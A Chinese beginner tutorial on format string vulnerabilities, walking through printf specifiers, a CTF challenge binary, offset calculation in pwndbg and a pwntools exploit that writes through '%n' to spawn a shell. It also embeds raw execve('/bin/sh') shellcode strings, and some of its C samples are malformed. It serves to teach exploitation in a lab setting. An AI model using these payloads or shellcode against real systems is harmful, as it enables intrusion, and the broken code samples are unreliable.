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[原创]PWN入门-格式化字符串漏洞

2022-5-16 21:36 15351

[原创]PWN入门-格式化字符串漏洞

柘狐

2022-5-16 21:36

15351

在我们学习c语言的时候我们就知道在输出或者输入的时候需要使用%s%d等等格式化字符，此处不过多介绍，详情可以去看看c语言的基础知识。

此处放出一些常见的格式化字符串函数。

#include <stdio.h>
 
int printf(const char *format, ...);
int fprintf(FILE stream, const char format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char str, const char format, ...);
int snprintf(char str, size_t size, const char format, ...);

转换指示符号

字符	类型	使用
d	4-byte	整形
u	4-byte	无符号整形
x	4-byte	十六进制
s	4-byte ptr	字符串
c	1-byte	字符
f	8-byte	浮点数
n	?-byte	将%n之前已经打印字符个数赋值给偏移处指针所指向的地址位置

长度

字符	类型	使用
hh	1-byte	字符char
h	2-byte	短整数short int
l	4-byte	长整型
ll	8-byte	长长整型

示例

#include <stdio.h>
#include <stdlib.h>
void mian(){
    char *format = "%s";
    char *arg1 ="Hello!I‘m ReStr0!"；
    printf(format,arg1);
}
此处是格式化字符串的使用方式

当我们运行它时
printf("%03d.%03d.%03d.%03d", 127,0,0,1);//"127.000.000.001"
2. printf("%.2f", 1.2345); // 1.23
3. printf("%#010x", 3735928559); // 0xdeadbeef
5. printf("%s%n", "01234", &n); // n = 5

这里拿printf格式化字符举例，在glibc库中它的相关代码如下：

可以看出它从输出流种会将输出的内容按照我们设置的format进行格式化输出。

漏洞产生原因和利用原理

/***
我们在正常的对格式化字符输出时大都使用printf(*format,*arg);
此种形式进行输出，但是部分程序员在开发的使用，为了省事使用了，printf(*format);进行输出
为了方便对比，我将在下面贴出正常和存在格式化字符漏洞的写法。
***/
错误：
#include <stdio.h>
void main(){
    char str[1024];
    scanf(%s,&str);
    printf(%s);
}
 
 
正确：
#include <stdio.h>
void main(){
    char str[1024];
    scanf(%s,&str);
    printf(%s,str);
}
//但是如果我们正常输入字符的情况下，此时两个都是可以正常输出我们需要的字符串，但是当我们将%x作为arg键入后，
//错误的代码会将此处的地址打印出来，通过%n操作符我们可以修改指定地址的数据以达到劫持程序流的目的。
//而且此时因为数据长的很长，我们可以输入很多的格式化字符，来泄露我们需要的地址或者其他信息（canary等）。
//最常见的就是通过格式化字符串漏洞泄露libc进行计算基址，泄露canary 进行bypass或者通过格式化字符串漏洞进行对got表地址某几位的改写。

CTF题目例子

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int a; // [rsp+Ch] [rbp-74h] BYREF
  char str[100]; // [rsp+10h] [rbp-70h] BYREF
 
  memset(str, 0, sizeof(str));
  a = 16;
  printf("ReStr0 tell you %p\n", &a);
  __isoc99_scanf("%s", str);
  printf(str);
  if ( a == 32 )
  {
    puts("success");
    system("/bin/sh");
  }
  else
  {
    puts("failure");
  }
  return 0;
}

这道题目我是用64位进行编译的，我们审计代码得知，题目告诉你a的地址，只要我们通过格式化字符串漏洞修改a的值为32就可以getshell，我们也知道可以通过%x$n+p64(a_addr)修改值，那么我们该如何计算这个偏移x呢？

两张图看懂如何计算偏移

此处我们也可以通过pwndbg自带的fmtarg进行计算

首先我们在printf的地方打下断点

然后c运行后在输入出随便输入字符aaaa

随后停在因为之前打了断点，在printf出停下，发现aaaa返回地址在0x7fffffffdb90 输入fmtarg 0x7fffffffdb90 即可计算出偏移为8

我们也可以通过上面的两张图方法计算出偏移

附上编译好的bin程序和exp

binary程序下载地址

链接：https://pan.baidu.com/s/11VvBozTXEZKs3ownh4grqg <br />提取码：hjtp

EXP：

# _*_ coding:utf-8 _*_
from pwn import *
context.log_level = 'debug'
 
p=process("fofo")
#p=remote("123.57.230.48","12342")
 
 
 
 
def debug(addr,PIE=True): 
    debug_str = ""
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16) 
        for i in addr:
            debug_str+='b *{}\n'.format(hex(text_base+i))
        gdb.attach(p,debug_str) 
    else:
        for i in addr:
            debug_str+='b *{}\n'.format(hex(i))
        gdb.attach(p,debug_str) 
 
def dbg():
    gdb.attach(p)
#-----------------------------------------------------------------------------------------
s       = lambda data               :p.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :p.sendafter(str(delim), str(data)) 
sl      = lambda data               :p.sendline(str(data)) 
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data)) 
r       = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
it      = lambda                    :p.interactive()
uu32    = lambda data   :u32(data.ljust(4, '\0'))
uu64    = lambda data   :u64(data.ljust(8, '\0'))
bp      = lambda bkp                :pdbg.bp(bkp)
li      = lambda str1,data1         :log.success(str1+'========>'+hex(data1))
 
 
def dbgc(addr):
    gdb.attach(p,"b*" + hex(addr) +"\n c")
 
def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
 
sh_x86_18="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x86_20="\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh_x64_21="\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------
 
ru("0x")
stack = int(r(12),16)
#lg('stack',stack)#print
#log.info(hex(stack))
print hex(stack)
 
pay = "%32c%9$n"+p64(stack)
sl(pay)
sleep(0.1)
it()